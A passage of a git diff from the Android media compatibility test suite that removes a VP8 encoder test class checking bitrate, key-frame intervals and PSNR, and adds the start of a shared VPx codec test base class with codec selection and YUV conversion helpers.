-import android.media.MediaCodecList;
-import android.media.MediaFormat;
-import android.util.Log;
-import android.media.cts.R;
-
-import java.io.File;
-import java.util.ArrayList;
-import java.util.Arrays;
-
-/**
- * Verification test for vp8 encoder and decoder.
- *
- * A raw yv12 stream is encoded at various settings and written to an IVF
- * file. Encoded stream bitrate and key frame interval are checked against target values.
- * The stream is later decoded by vp8 decoder to verify frames are decodable and to
- * calculate PSNR values for various bitrates.
- */
-public class Vp8EncoderTest extends Vp8CodecTestBase {
-
-    private static final String ENCODED_IVF_BASE = "football";
-    private static final String INPUT_YUV = null;
-    private static final String OUTPUT_YUV = SDCARD_DIR + File.separator +
-            ENCODED_IVF_BASE + "_out.yuv";
-
-    // YUV stream properties.
-    private static final int WIDTH = 320;
-    private static final int HEIGHT = 240;
-    private static final int FPS = 30;
-    // Default encoding bitrate.
-    private static final int BITRATE = 400000;
-    // Default encoding bitrate mode
-    private static final int BITRATE_MODE = VIDEO_ControlRateVariable;
-    // List of bitrates used in quality and basic bitrate tests.
-    private static final int[] TEST_BITRATES_SET = { 300000, 500000, 700000, 900000 };
-    // Maximum allowed bitrate variation from the target value.
-    private static final double MAX_BITRATE_VARIATION = 0.2;
-    // Average PSNR values for reference Google VP8 codec for the above bitrates.
-    private static final double[] REFERENCE_AVERAGE_PSNR = { 33.1, 35.2, 36.6, 37.8 };
-    // Minimum PSNR values for reference Google VP8 codec for the above bitrates.
-    private static final double[] REFERENCE_MINIMUM_PSNR = { 25.9, 27.5, 28.4, 30.3 };
-    // Maximum allowed average PSNR difference of encoder comparing to reference Google encoder.
-    private static final double MAX_AVERAGE_PSNR_DIFFERENCE = 2;
-    // Maximum allowed minimum PSNR difference of encoder comparing to reference Google encoder.
-    private static final double MAX_MINIMUM_PSNR_DIFFERENCE = 4;
-    // Maximum allowed average PSNR difference of the encoder running in a looper thread with 0 ms
-    // buffer dequeue timeout comparing to the encoder running in a callee's thread with 100 ms
-    // buffer dequeue timeout.
-    private static final double MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE = 0.5;
-    // Maximum allowed minimum PSNR difference of the encoder running in a looper thread
-    // comparing to the encoder running in a callee's thread.
-    private static final double MAX_ASYNC_MINIMUM_PSNR_DIFFERENCE = 2;
-    // Maximum allowed average key frame interval variation from the target value.
-    private static final int MAX_AVERAGE_KEYFRAME_INTERVAL_VARIATION = 1;
-    // Maximum allowed key frame interval variation from the target value.
-    private static final int MAX_KEYFRAME_INTERVAL_VARIATION = 3;
-
-    /**
-     * A basic test for VP8 encoder.
-     *
-     * Encodes 9 seconds of raw stream with default configuration options,
-     * and then decodes it to verify the bitstream.
-     * Also checks the average bitrate is within MAX_BITRATE_VARIATION of the target value.
-     */
-    public void testBasic() throws Exception {
-        int encodeSeconds = 9;
-        boolean skipped = true;
-
-        for (int targetBitrate : TEST_BITRATES_SET) {
-            EncoderOutputStreamParameters params = getDefaultEncodingParameters(
-                    INPUT_YUV,
-                    ENCODED_IVF_BASE,
-                    encodeSeconds,
-                    WIDTH,
-                    HEIGHT,
-                    FPS,
-                    BITRATE_MODE,
-                    targetBitrate,
-                    true);
-            ArrayList<MediaCodec.BufferInfo> bufInfo = encode(params);
-            if (bufInfo == null) {
-                continue;
-            }
-            skipped = false;
-
-            Vp8EncodingStatistics statistics = computeEncodingStatistics(bufInfo);
-
-            assertEquals("Stream bitrate " + statistics.mAverageBitrate +
-                    " is different from the target " + targetBitrate,
-                    targetBitrate, statistics.mAverageBitrate,
-                    MAX_BITRATE_VARIATION * targetBitrate);
-
-            decode(params.outputIvfFilename, null, FPS, params.forceGoogleEncoder);
-        }
-
-        if (skipped) {
-            Log.i(TAG, "SKIPPING testBasic(): codec is not supported");
-        }
-    }
-
-    /**
-     * Asynchronous encoding test for VP8 encoder.
-     *
-     * Encodes 9 seconds of raw stream using synchronous and asynchronous calls.
-     * Checks the PSNR difference between the encoded and decoded output and reference yuv input
-     * does not change much for two different ways of the encoder call.
-     */
-    public void testAsyncEncoding() throws Exception {
-        int encodeSeconds = 9;
-
-        // First test the encoder running in a looper thread with buffer callbacks enabled.
-        boolean syncEncoding = false;
-        EncoderOutputStreamParameters params = getDefaultEncodingParameters(
-                INPUT_YUV,
-                ENCODED_IVF_BASE,
-                encodeSeconds,
-                WIDTH,
-                HEIGHT,
-                FPS,
-                BITRATE_MODE,
-                BITRATE,
-                syncEncoding);
-        ArrayList<MediaCodec.BufferInfo> bufInfos = encodeAsync(params);
-        if (bufInfos == null) {
-            Log.i(TAG, "SKIPPING testAsyncEncoding(): no suitable encoder found");
-            return;
-        }
-        computeEncodingStatistics(bufInfos);
-        decode(params.outputIvfFilename, OUTPUT_YUV, FPS, params.forceGoogleEncoder);
-        Vp8DecodingStatistics statisticsAsync = computeDecodingStatistics(
-                params.inputYuvFilename, R.raw.football_qvga, OUTPUT_YUV,
-                params.frameWidth, params.frameHeight);
-
-
-        // Test the encoder running in a callee's thread.
-        syncEncoding = true;
-        params = getDefaultEncodingParameters(
-                INPUT_YUV,
-                ENCODED_IVF_BASE,
-                encodeSeconds,
-                WIDTH,
-                HEIGHT,
-                FPS,
-                BITRATE_MODE,
-                BITRATE,
-                syncEncoding);
-        bufInfos = encode(params);
-        if (bufInfos == null) {
-            Log.i(TAG, "SKIPPING testAsyncEncoding(): no suitable encoder found");
-            return;
-        }
-        computeEncodingStatistics(bufInfos);
-        decode(params.outputIvfFilename, OUTPUT_YUV, FPS, params.forceGoogleEncoder);
-        Vp8DecodingStatistics statisticsSync = computeDecodingStatistics(
-                params.inputYuvFilename, R.raw.football_qvga, OUTPUT_YUV,
-                params.frameWidth, params.frameHeight);
-
-        // Check PSNR difference.
-        Log.d(TAG, "PSNR Average: Async: " + statisticsAsync.mAveragePSNR +
-                ". Sync: " + statisticsSync.mAveragePSNR);
-        Log.d(TAG, "PSNR Minimum: Async: " + statisticsAsync.mMinimumPSNR +
-                ". Sync: " + statisticsSync.mMinimumPSNR);
-        if ((Math.abs(statisticsAsync.mAveragePSNR - statisticsSync.mAveragePSNR) >
-            MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE) ||
-            (Math.abs(statisticsAsync.mMinimumPSNR - statisticsSync.mMinimumPSNR) >
-            MAX_ASYNC_MINIMUM_PSNR_DIFFERENCE)) {
-            throw new RuntimeException("Difference between PSNRs for async and sync encoders");
-        }
-    }
-
-    /**
-     * Check if MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME is honored.
-     *
-     * Encodes 9 seconds of raw stream and requests a sync frame every second (30 frames).
-     * The test does not verify the output stream.
-     */
-    public void testSyncFrame() throws Exception {
-        int encodeSeconds = 9;
-
-        EncoderOutputStreamParameters params = getDefaultEncodingParameters(
-                INPUT_YUV,
-                ENCODED_IVF_BASE,
-                encodeSeconds,
-                WIDTH,
-                HEIGHT,
-                FPS,
-                BITRATE_MODE,
-                BITRATE,
-                true);
-        params.syncFrameInterval = encodeSeconds * FPS;
-        params.syncForceFrameInterval = FPS;
-        ArrayList<MediaCodec.BufferInfo> bufInfo = encode(params);
-        if (bufInfo == null) {
-            Log.i(TAG, "SKIPPING testSyncFrame(): no suitable encoder found");
-            return;
-        }
-
-        Vp8EncodingStatistics statistics = computeEncodingStatistics(bufInfo);
-
-        // First check if we got expected number of key frames.
-        int actualKeyFrames = statistics.mKeyFrames.size();
-        if (actualKeyFrames != encodeSeconds) {
-            throw new RuntimeException("Number of key frames " + actualKeyFrames +
-                    " is different from the expected " + encodeSeconds);
-        }
-
-        // Check key frame intervals:
-        // Average value should be within +/- 1 frame of the target value,
-        // maximum value should not be greater than target value + 3,
-        // and minimum value should not be less that target value - 3.
-        if (Math.abs(statistics.mAverageKeyFrameInterval - FPS) >
-            MAX_AVERAGE_KEYFRAME_INTERVAL_VARIATION ||
-            (statistics.mMaximumKeyFrameInterval - FPS > MAX_KEYFRAME_INTERVAL_VARIATION) ||
-            (FPS - statistics.mMinimumKeyFrameInterval > MAX_KEYFRAME_INTERVAL_VARIATION)) {
-            throw new RuntimeException(
-                    "Key frame intervals are different from the expected " + FPS);
-        }
-    }
-
-    /**
-     * Check if MediaCodec.PARAMETER_KEY_VIDEO_BITRATE is honored.
-     *
-     * Run the the encoder for 12 seconds. Request changes to the
-     * bitrate after 6 seconds and ensure the encoder responds.
-     */
-    public void testDynamicBitrateChange() throws Exception {
-        int encodeSeconds = 12;    // Encoding sequence duration in seconds.
-        int[] bitrateTargetValues = { 400000, 800000 };  // List of bitrates to test.
-
-        EncoderOutputStreamParameters params = getDefaultEncodingParameters(
-                INPUT_YUV,
-                ENCODED_IVF_BASE,
-                encodeSeconds,
-                WIDTH,
-                HEIGHT,
-                FPS,
-                BITRATE_MODE,
-                bitrateTargetValues[0],
-                true);
-
-        // Number of seconds for each bitrate
-        int stepSeconds = encodeSeconds / bitrateTargetValues.length;
-        // Fill the bitrates values.
-        params.bitrateSet = new int[encodeSeconds * FPS];
-        for (int i = 0; i < bitrateTargetValues.length ; i++) {
-            Arrays.fill(params.bitrateSet,
-                    i * encodeSeconds * FPS / bitrateTargetValues.length,
-                    (i + 1) * encodeSeconds * FPS / bitrateTargetValues.length,
-                    bitrateTargetValues[i]);
-        }
-
-        ArrayList<MediaCodec.BufferInfo> bufInfo = encode(params);
-        if (bufInfo == null) {
-            Log.i(TAG, "SKIPPING testDynamicBitrateChange(): no suitable encoder found");
-            return;
-        }
-
-        Vp8EncodingStatistics statistics = computeEncodingStatistics(bufInfo);
-
-        // Calculate actual average bitrates  for every [stepSeconds] second.
-        int[] bitrateActualValues = new int[bitrateTargetValues.length];
-        for (int i = 0; i < bitrateTargetValues.length ; i++) {
-            bitrateActualValues[i] = 0;
-            for (int j = i * stepSeconds; j < (i + 1) * stepSeconds; j++) {
-                bitrateActualValues[i] += statistics.mBitrates.get(j);
-            }
-            bitrateActualValues[i] /= stepSeconds;
-            Log.d(TAG, "Actual bitrate for interval #" + i + " : " + bitrateActualValues[i] +
-                    ". Target: " + bitrateTargetValues[i]);
-
-            // Compare actual bitrate values to make sure at least same increasing/decreasing
-            // order as the target bitrate values.
-            for (int j = 0; j < i; j++) {
-                long differenceTarget = bitrateTargetValues[i] - bitrateTargetValues[j];
-                long differenceActual = bitrateActualValues[i] - bitrateActualValues[j];
-                if (differenceTarget * differenceActual < 0) {
-                    throw new RuntimeException("Target bitrates: " +
-                            bitrateTargetValues[j] + " , " + bitrateTargetValues[i] +
-                            ". Actual bitrates: "
-                            + bitrateActualValues[j] + " , " + bitrateActualValues[i]);
-                }
-            }
-        }
-    }
-
-     /**
-      * Check if encoder and decoder can run simultaneously on different threads.
-      *
-      * Encodes and decodes 9 seconds of raw stream sequentially in CBR mode,
-      * and then run parallel encoding and decoding of the same streams.
-      * Compares average bitrate and PSNR for sequential and parallel runs.
-      */
-     public void testParallelEncodingAndDecoding() throws Exception {
-         // check for encoder up front, as by the time we detect lack of
-         // encoder support, we may have already started decoding.
-         MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-         MediaFormat format = MediaFormat.createVideoFormat(VP8_MIME, WIDTH, HEIGHT);
-         if (mcl.findEncoderForFormat(format) == null) {
-             Log.i(TAG, "SKIPPING testParallelEncodingAndDecoding(): no suitable encoder found");
-             return;
-         }
-
-         int encodeSeconds = 9;
-         final int[] bitrate = new int[1];
-         final double[] psnr = new double[1];
-         final Exception[] exceptionEncoder = new Exception[1];
-         final Exception[] exceptionDecoder = new Exception[1];
-         final EncoderOutputStreamParameters params = getDefaultEncodingParameters(
-                 INPUT_YUV,
-                 ENCODED_IVF_BASE,
-                 encodeSeconds,
-                 WIDTH,
-                 HEIGHT,
-                 FPS,
-                 VIDEO_ControlRateConstant,
-                 BITRATE,
-                 true);
-         final String inputIvfFilename = params.outputIvfFilename;
-
-         Runnable runEncoder = new Runnable() {
-             public void run() {
-                 try {
-                     ArrayList<MediaCodec.BufferInfo> bufInfo = encode(params);
-                     Vp8EncodingStatistics statistics = computeEncodingStatistics(bufInfo);
-                     bitrate[0] = statistics.mAverageBitrate;
-                 } catch (Exception e) {
-                     Log.e(TAG, "Encoder error: " + e.toString());
-                     exceptionEncoder[0] = e;
-                 }
-             }
-         };
-         Runnable runDecoder = new Runnable() {
-             public void run() {
-                 try {
-                     decode(inputIvfFilename, OUTPUT_YUV, FPS, params.forceGoogleEncoder);
-                     Vp8DecodingStatistics statistics = computeDecodingStatistics(
-                            params.inputYuvFilename, R.raw.football_qvga, OUTPUT_YUV,
-                            params.frameWidth, params.frameHeight);
-                     psnr[0] = statistics.mAveragePSNR;
-                 } catch (Exception e) {
-                     Log.e(TAG, "Decoder error: " + e.toString());
-                     exceptionDecoder[0] = e;
-                 }
-             }
-         };
-
-         // Sequential encoding and decoding.
-         runEncoder.run();
-         if (exceptionEncoder[0] != null) {
-             throw exceptionEncoder[0];
-         }
-         int referenceBitrate = bitrate[0];
-         runDecoder.run();
-         if (exceptionDecoder[0] != null) {
-             throw exceptionDecoder[0];
-         }
-         double referencePsnr = psnr[0];
-
-         // Parallel encoding and decoding.
-         params.outputIvfFilename = SDCARD_DIR + File.separator + ENCODED_IVF_BASE + "_copy.ivf";
-         Thread threadEncoder = new Thread(runEncoder);
-         Thread threadDecoder = new Thread(runDecoder);
-         threadEncoder.start();
-         threadDecoder.start();
-         threadEncoder.join();
-         threadDecoder.join();
-         if (exceptionEncoder[0] != null) {
-             throw exceptionEncoder[0];
-         }
-         if (exceptionDecoder[0] != null) {
-             throw exceptionDecoder[0];
-         }
-
-         // Compare bitrates and PSNRs for sequential and parallel cases.
-         Log.d(TAG, "Sequential bitrate: " + referenceBitrate + ". PSNR: " + referencePsnr);
-         Log.d(TAG, "Parallel bitrate: " + bitrate[0] + ". PSNR: " + psnr[0]);
-         assertEquals("Bitrate for sequenatial encoding" + referenceBitrate +
-                 " is different from parallel encoding " + bitrate[0],
-                 referenceBitrate, bitrate[0], MAX_BITRATE_VARIATION * referenceBitrate);
-         assertEquals("PSNR for sequenatial encoding" + referencePsnr +
-                 " is different from parallel encoding " + psnr[0],
-                 referencePsnr, psnr[0], MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE);
-     }
-
-
-    /**
-     * Check the encoder quality for various bitrates by calculating PSNR
-     *
-     * Run the the encoder for 9 seconds for each bitrate and calculate PSNR
-     * for each encoded stream.
-     * Video streams with higher bitrates should have higher PSNRs.
-     * Also compares average and minimum PSNR of codec with PSNR values of reference Google codec.
-     */
-    public void testEncoderQuality() throws Exception {
-        int encodeSeconds = 9;      // Encoding sequence duration in seconds for each bitrate.
-        double[] psnrPlatformCodecAverage = new double[TEST_BITRATES_SET.length];
-        double[] psnrPlatformCodecMin = new double[TEST_BITRATES_SET.length];
-        boolean[] completed = new boolean[TEST_BITRATES_SET.length];
-        boolean skipped = true;
-
-        // Run platform specific encoder for different bitrates
-        // and compare PSNR of codec with PSNR of reference Google codec.
-        for (int i = 0; i < TEST_BITRATES_SET.length; i++) {
-            EncoderOutputStreamParameters params = getDefaultEncodingParameters(
-                    INPUT_YUV,
-                    ENCODED_IVF_BASE,
-                    encodeSeconds,
-                    WIDTH,
-                    HEIGHT,
-                    FPS,
-                    BITRATE_MODE,
-                    TEST_BITRATES_SET[i],
-                    true);
-            if (encode(params) == null) {
-                // parameters not supported, try other bitrates
-                completed[i] = false;
-                continue;
-            }
-            completed[i] = true;
-            skipped = false;
-
-            decode(params.outputIvfFilename, OUTPUT_YUV, FPS, params.forceGoogleEncoder);
-            Vp8DecodingStatistics statistics = computeDecodingStatistics(
-                    params.inputYuvFilename, R.raw.football_qvga, OUTPUT_YUV,
-                    params.frameWidth, params.frameHeight);
-            psnrPlatformCodecAverage[i] = statistics.mAveragePSNR;
-            psnrPlatformCodecMin[i] = statistics.mMinimumPSNR;
-        }
-
-        if (skipped) {
-            Log.i(TAG, "SKIPPING testEncoderQuality(): no bitrates supported");
-            return;
-        }
-
-        // First do a sanity check - higher bitrates should results in higher PSNR.
-        for (int i = 1; i < TEST_BITRATES_SET.length ; i++) {
-            if (!completed[i]) {
-                continue;
-            }
-            for (int j = 0; j < i; j++) {
-                if (!completed[j]) {
-                    continue;
-                }
-                double differenceBitrate = TEST_BITRATES_SET[i] - TEST_BITRATES_SET[j];
-                double differencePSNR = psnrPlatformCodecAverage[i] - psnrPlatformCodecAverage[j];
-                if (differenceBitrate * differencePSNR < 0) {
-                    throw new RuntimeException("Target bitrates: " +
-                            TEST_BITRATES_SET[j] + ", " + TEST_BITRATES_SET[i] +
-                            ". Actual PSNRs: "
-                            + psnrPlatformCodecAverage[j] + ", " + psnrPlatformCodecAverage[i]);
-                }
-            }
-        }
-
-        // Then compare average and minimum PSNR of platform codec with reference Google codec -
-        // average PSNR for platform codec should be no more than 2 dB less than reference PSNR
-        // and minumum PSNR - no more than 4 dB less than reference minimum PSNR.
-        // These PSNR difference numbers are arbitrary for now, will need further estimation
-        // when more devices with HW VP8 codec will appear.
-        for (int i = 0; i < TEST_BITRATES_SET.length ; i++) {
-            if (!completed[i]) {
-                continue;
-            }
-
-            Log.d(TAG, "Bitrate " + TEST_BITRATES_SET[i]);
-            Log.d(TAG, "Reference: Average: " + REFERENCE_AVERAGE_PSNR[i] + ". Minimum: " +
-                    REFERENCE_MINIMUM_PSNR[i]);
-            Log.d(TAG, "Platform:  Average: " + psnrPlatformCodecAverage[i] + ". Minimum: " +
-                    psnrPlatformCodecMin[i]);
-            if (psnrPlatformCodecAverage[i] < REFERENCE_AVERAGE_PSNR[i] -
-                    MAX_AVERAGE_PSNR_DIFFERENCE) {
-                throw new RuntimeException("Low average PSNR " + psnrPlatformCodecAverage[i] +
-                        " comparing to reference PSNR " + REFERENCE_AVERAGE_PSNR[i] +
-                        " for bitrate " + TEST_BITRATES_SET[i]);
-            }
-            if (psnrPlatformCodecMin[i] < REFERENCE_MINIMUM_PSNR[i] -
-                    MAX_MINIMUM_PSNR_DIFFERENCE) {
-                throw new RuntimeException("Low minimum PSNR " + psnrPlatformCodecMin[i] +
-                        " comparing to reference PSNR " + REFERENCE_MINIMUM_PSNR[i] +
-                        " for bitrate " + TEST_BITRATES_SET[i]);
-            }
-        }
-    }
-}
-
diff --git a/tests/tests/media/src/android/media/cts/VpxCodecTestBase.java b/tests/tests/media/src/android/media/cts/VpxCodecTestBase.java
new file mode 100644
index 0000000..df9372f
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/VpxCodecTestBase.java
@@ -0,0 +1,2021 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.content.Context;
+import android.content.res.Resources;
+import android.media.MediaCodec;
+import android.media.MediaCodec.CodecException;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecList;
+import android.media.MediaCodecInfo;
+import android.media.MediaFormat;
+import android.os.Bundle;
+import android.os.Environment;
+import android.os.Looper;
+import android.os.Handler;
+import android.test.AndroidTestCase;
+import android.util.Log;
+import android.media.cts.R;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.nio.ByteBuffer;
+import java.util.Locale;
+import java.util.ArrayList;
+import java.util.concurrent.Callable;
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * Verification test for vpx encoder and decoder.
+ *
+ * A raw yv12 stream is encoded at various settings and written to an IVF
+ * file. Encoded stream bitrate and key frame interval are checked against target values.
+ * The stream is later decoded by the decoder to verify frames are decodable and to
+ * calculate PSNR values for various bitrates.
+ */
+public class VpxCodecTestBase extends AndroidTestCase {
+
+    protected static final String TAG = "VPxCodecTestBase";
+    protected static final String VP8_MIME = MediaFormat.MIMETYPE_VIDEO_VP8;
+    protected static final String VP9_MIME = MediaFormat.MIMETYPE_VIDEO_VP9;
+    private static final String GOOGLE_CODEC_PREFIX = "omx.google.";
+    protected static final String SDCARD_DIR =
+            Environment.getExternalStorageDirectory().getAbsolutePath();
+
+    // Default timeout for MediaCodec buffer dequeue - 200 ms.
+    protected static final long DEFAULT_DEQUEUE_TIMEOUT_US = 200000;
+    // Default timeout for MediaEncoderAsync - 30 sec.
+    protected static final long DEFAULT_ENCODE_TIMEOUT_MS = 30000;
+    // Default sync frame interval in frames (zero means allow the encoder to auto-select
+    // key frame interval).
+    private static final int SYNC_FRAME_INTERVAL = 0;
+    // Video bitrate type - should be set to OMX_Video_ControlRateConstant from OMX_Video.h
+    protected static final int VIDEO_ControlRateVariable = 1;
+    protected static final int VIDEO_ControlRateConstant = 2;
+    // NV12 color format supported by QCOM codec, but not declared in MediaCodec -
+    // see /hardware/qcom/media/mm-core/inc/OMX_QCOMExtns.h
+    private static final int COLOR_QCOM_FORMATYUV420PackedSemiPlanar32m = 0x7FA30C04;
+    // Allowable color formats supported by codec - in order of preference.
+    private static final int[] mSupportedColorList = {
+            CodecCapabilities.COLOR_FormatYUV420Planar,
+            CodecCapabilities.COLOR_FormatYUV420SemiPlanar,
+            CodecCapabilities.COLOR_QCOM_FormatYUV420SemiPlanar,
+            COLOR_QCOM_FORMATYUV420PackedSemiPlanar32m
+    };
+    // Scaled image cache list - contains scale factors, for which up-scaled frames
+    // were calculated and were written to yuv file.
+    ArrayList<Integer> mScaledImages = new ArrayList<Integer>();
+
+    private Resources mResources;
+
+    @Override
+    public void setContext(Context context) {
+        super.setContext(context);
+        mResources = mContext.getResources();
+    }
+
+    /**
+     *  VPx codec properties generated by getVpxCodecProperties() function.
+     */
+    private class CodecProperties {
+        CodecProperties(String codecName, int colorFormat) {
+            this.codecName = codecName;
+            this.colorFormat = colorFormat;
+        }
+        public boolean  isGoogleCodec() {
+            return codecName.toLowerCase().startsWith(GOOGLE_CODEC_PREFIX);
+        }
+
+        public final String codecName; // OpenMax component name for VPx codec.
+        public final int colorFormat;  // Color format supported by codec.
+    }
+
+    /**
+     * Function to find VPx codec.
+     *
+     * Iterates through the list of available codecs and tries to find
+     * VPX codec, which can support either YUV420 planar or NV12 color formats.
+     * If forceGoogleCodec parameter set to true the function always returns
+     * Google VPX codec.
+     * If forceGoogleCodec parameter set to false the functions looks for platform
+     * specific VPX codec first. If no platform specific codec exist, falls back to
+     * Google VPX codec.
+     *
+     * @param isEncoder     Flag if encoder is requested.
+     * @param forceGoogleCodec  Forces to use Google codec.
+     */
+    private CodecProperties getVpxCodecProperties(
+            boolean isEncoder,
+            MediaFormat format,
+            boolean forceGoogleCodec) throws Exception {
+        CodecProperties codecProperties = null;
+        String mime = format.getString(MediaFormat.KEY_MIME);
+
+        // Loop through the list of omx components in case platform specific codec
+        // is requested.
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        for (MediaCodecInfo codecInfo : mcl.getCodecInfos()) {
+            if (isEncoder != codecInfo.isEncoder()) {
+                continue;
+            }
+            Log.v(TAG, codecInfo.getName());
+            // TODO: remove dependence of Google from the test
+            // Check if this is Google codec - we should ignore it.
+            boolean isGoogleCodec =
+                codecInfo.getName().toLowerCase().startsWith(GOOGLE_CODEC_PREFIX);
+            if (!isGoogleCodec && forceGoogleCodec) {
+                continue;
+            }
+
+            for (String type : codecInfo.getSupportedTypes()) {
+                if (!type.equalsIgnoreCase(mime)) {
+                    continue;
+                }
+                CodecCapabilities capabilities = codecInfo.getCapabilitiesForType(type);
+                if (!capabilities.isFormatSupported(format)) {
+                    continue;
+                }
+
+                // Get candidate codec properties.
+                Log.v(TAG, "Found candidate codec " + codecInfo.getName());
+                for (int colorFormat: capabilities.colorFormats) {
+                    Log.v(TAG, "   Color: 0x" + Integer.toHexString(colorFormat));
+                }
+
+                // Check supported color formats.
+                for (int supportedColorFormat : mSupportedColorList) {
+                    for (int codecColorFormat : capabilities.colorFormats) {
+                        if (codecColorFormat == supportedColorFormat) {
+                            codecProperties = new CodecProperties(codecInfo.getName(),
+                                    codecColorFormat);
+                            Log.v(TAG, "Found target codec " + codecProperties.codecName +
+                                    ". Color: 0x" + Integer.toHexString(codecColorFormat));
+                            // return first HW codec found
+                            if (!isGoogleCodec) {
+                                return codecProperties;
+                            }
+                        }
+                    }
+                }
+            }
+        }
+        if (codecProperties == null) {
+            Log.i(TAG, "no suitable " + (forceGoogleCodec ? "google " : "")
+                    + (isEncoder ? "encoder " : "decoder ") + "found for " + format);
+        }
+        return codecProperties;
+    }
+
+    /**
+     * Parameters for encoded video stream.
+     */
+    protected class EncoderOutputStreamParameters {
+        // Name of raw YUV420 input file. When the value of this parameter
+        // is set to null input file descriptor from inputResourceId parameter
+        // is used instead.
+        public String inputYuvFilename;
+        // Name of scaled YUV420 input file.
+        public String scaledYuvFilename;
+        // File descriptor for the raw input file (YUV420). Used only if
+        // inputYuvFilename parameter is null.
+        int inputResourceId;
+        // Name of the IVF file to write encoded bitsream
+        public String outputIvfFilename;
+        // Mime Type of the Encoded content.
+        public String codecMimeType;
+        // Force to use Google VPx encoder.
+        boolean forceGoogleEncoder;
+        // Number of frames to encode.
+        int frameCount;
+        // Frame rate of input file in frames per second.
+        int frameRate;
+        // Encoded frame width.
+        public int frameWidth;
+        // Encoded frame height.
+        public int frameHeight;
+        // Encoding bitrate array in bits/second for every frame. If array length
+        // is shorter than the total number of frames, the last value is re-used for
+        // all remaining frames. For constant bitrate encoding single element
+        // array can be used with first element set to target bitrate value.
+        public int[] bitrateSet;
+        // Encoding bitrate type - VBR or CBR
+        public int bitrateType;
+        // Number of temporal layers
+        public int temporalLayers;
+        // Desired key frame interval - codec is asked to generate key frames
+        // at a period defined by this parameter.
+        public int syncFrameInterval;
+        // Optional parameter - forced key frame interval. Used to
+        // explicitly request the codec to generate key frames using
+        // MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME parameter.
+        public int syncForceFrameInterval;
+        // Buffer timeout
+        long timeoutDequeue;
+        // Flag if encoder should run in Looper thread.
+        boolean runInLooperThread;
+        // Flag if use NdkMediaCodec
+        boolean useNdk;
+    }
+
+    /**
+     * Generates an array of default parameters for encoder output stream based on
+     * upscaling value.
+     */
+    protected ArrayList<EncoderOutputStreamParameters> getDefaultEncodingParameterList(
+            String inputYuvName,
+            String outputIvfBaseName,
+            String codecMimeType,
+            int encodeSeconds,
+            int[] resolutionScales,
+            int frameWidth,
+            int frameHeight,
+            int frameRate,
+            int bitrateMode,
+            int[] bitrates,
+            boolean syncEncoding) {
+        assertTrue(resolutionScales.length == bitrates.length);
+        int numCodecs = resolutionScales.length;
+        ArrayList<EncoderOutputStreamParameters> outputParameters =
+                new ArrayList<EncoderOutputStreamParameters>(numCodecs);
+        for (int i = 0; i < numCodecs; i++) {
+            EncoderOutputStreamParameters params = new EncoderOutputStreamParameters();
+            if (inputYuvName != null) {
+                params.inputYuvFilename = SDCARD_DIR + File.separator + inputYuvName;
+            } else {
+                params.inputYuvFilename = null;
+            }
+            params.scaledYuvFilename = SDCARD_DIR + File.separator +
+                    outputIvfBaseName + resolutionScales[i]+ ".yuv";
+            params.inputResourceId = R.raw.football_qvga;
+            params.codecMimeType = codecMimeType;
+            String codecSuffix = VP8_MIME.equals(codecMimeType) ? "vp8" : "vp9";
+            params.outputIvfFilename = SDCARD_DIR + File.separator +
+                    outputIvfBaseName + resolutionScales[i] + "_" + codecSuffix + ".ivf";
+            params.forceGoogleEncoder = false;
+            params.frameCount = encodeSeconds * frameRate;
+            params.frameRate = frameRate;
+            params.frameWidth = Math.min(frameWidth * resolutionScales[i], 1280);
+            params.frameHeight = Math.min(frameHeight * resolutionScales[i], 720);
+            params.bitrateSet = new int[1];
+            params.bitrateSet[0] = bitrates[i];
+            params.bitrateType = bitrateMode;
+            params.temporalLayers = 0;
+            params.syncFrameInterval = SYNC_FRAME_INTERVAL;
+            params.syncForceFrameInterval = 0;
+            if (syncEncoding) {
+                params.timeoutDequeue = DEFAULT_DEQUEUE_TIMEOUT_US;
+                params.runInLooperThread = false;
+            } else {
+                params.timeoutDequeue = 0;
+                params.runInLooperThread = true;
+            }
+            outputParameters.add(params);
+        }
+        return outputParameters;
+    }
+
+    protected EncoderOutputStreamParameters getDefaultEncodingParameters(
+            String inputYuvName,
+            String outputIvfBaseName,
+            String codecMimeType,
+            int encodeSeconds,
+            int frameWidth,
+            int frameHeight,
+            int frameRate,
+            int bitrateMode,
+            int bitrate,
+            boolean syncEncoding) {
+        int[] scaleValues = { 1 };
+        int[] bitrates = { bitrate };
+        return getDefaultEncodingParameterList(
+                inputYuvName,
+                outputIvfBaseName,
+                codecMimeType,
+                encodeSeconds,
+                scaleValues,
+                frameWidth,
+                frameHeight,
+                frameRate,
+                bitrateMode,
+                bitrates,
+                syncEncoding).get(0);
+    }
+
+    /**
+     * Converts (interleaves) YUV420 planar to NV12.
+     * Assumes packed, macroblock-aligned frame with no cropping
+     * (visible/coded row length == stride).
+     */
+    private static byte[] YUV420ToNV(int width, int height, byte[] yuv) {
+        byte[] nv = new byte[yuv.length];
+        // Y plane we just copy.
+        System.arraycopy(yuv, 0, nv, 0, width * height);
+
+        // U & V plane we interleave.
+        int u_offset = width * height;
+        int v_offset = u_offset + u_offset / 4;
+        int nv_offset = width * height;
+        for (int i = 0; i < width * height / 4; i++) {
+            nv[nv_offset++] = yuv[u_offset++];
+            nv[nv_offset++] = yuv[v_offset++];
+        }
+        return nv;
+    }
+
+    /**
+     * Converts (de-interleaves) NV12 to YUV420 planar.
